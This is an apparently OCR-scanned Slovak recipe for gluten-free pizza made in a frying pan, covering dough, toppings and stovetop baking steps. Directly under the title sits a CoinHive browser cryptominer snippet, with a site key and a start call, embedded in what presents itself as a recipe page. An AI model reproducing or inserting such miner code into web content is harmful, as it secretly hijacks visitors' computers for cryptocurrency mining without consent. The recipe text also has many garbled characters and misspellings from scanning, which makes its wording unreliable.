PIZZA NA PANVICI

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Suroviny na 1 porciu cesta: 100g bezlepkovej miky (m6ze byt aj chlebova), 2 prasku do peciva
(Dr. Oetker), Cerstvé drozdie (Fala), cukor na kvasok, 1,5 dl teplej vody (alebo zincice), sol, olej
na potretie panvice. Urobime si kvasok z vody, cukru, drozdia, po vykysnuti priddme muku s
praskom do peciva, sol podla chuti.

Suroviny na oblohu podfa vlastného vyberu:

- na potretie cesta paradajkovy pretlak alebo Cerstva paradajkovéa pasta, mézeme ochutit
cesnakom, oreganom a inym korenim,

- Cerstva zelenina nakrajana na kusky (paradajky, papriky, Sampinény a pod.),

- masoveé vyrobky vhodné pre bezlepkovu diétu (Sunka nakrajana na pasiky, orestované
kuracie kusky a pod.),

- vajce rozslfahané so solou alebo uvarené,

- tvrdy nastruhany syr.

Postup: Hore uvedena davka je na priemer panvice 20 — 25cm, s hrubSim dnom (najlepSie
teflonova), aby sa cesto prepieklo a neprihorelo, vhodné je pod panvicu podloZit platriu. Na
panvicu dame trochu oleja, rovnomerne pomastime. Potom pridame vypracované cesto, ktoré
rozotrieme po celom obvode panvice. Takto nechame cesto odlezat asi 15 minGt. Cesto v
panvici dame piect na sporak pri najnizSej teplote, panvicu prikryjeme. Pecieme 10 - 12 min(t
az do ruzova, obCas skontrolujeme. Potom cesto oddelime od panvice a oto€ime. OpecCenu
stranu potrieme paradajkovym pretlakom a ukladame pripravené suroviny podla viastne;
fantazie (méso, zeleninu), dopekame prikryté. Tvrdy postruhany syr pridavame tesne pred
dopecenim, ktoré trva 8 - 10 min(t (spodok musi byt ruzovy). Potom tepelny zdroj vypneme a
nechame dojst, aby ostala pizza vliana a nevysusena. Pokrajani podavame na teplom tanieri.

Vlastna receptura Editky.
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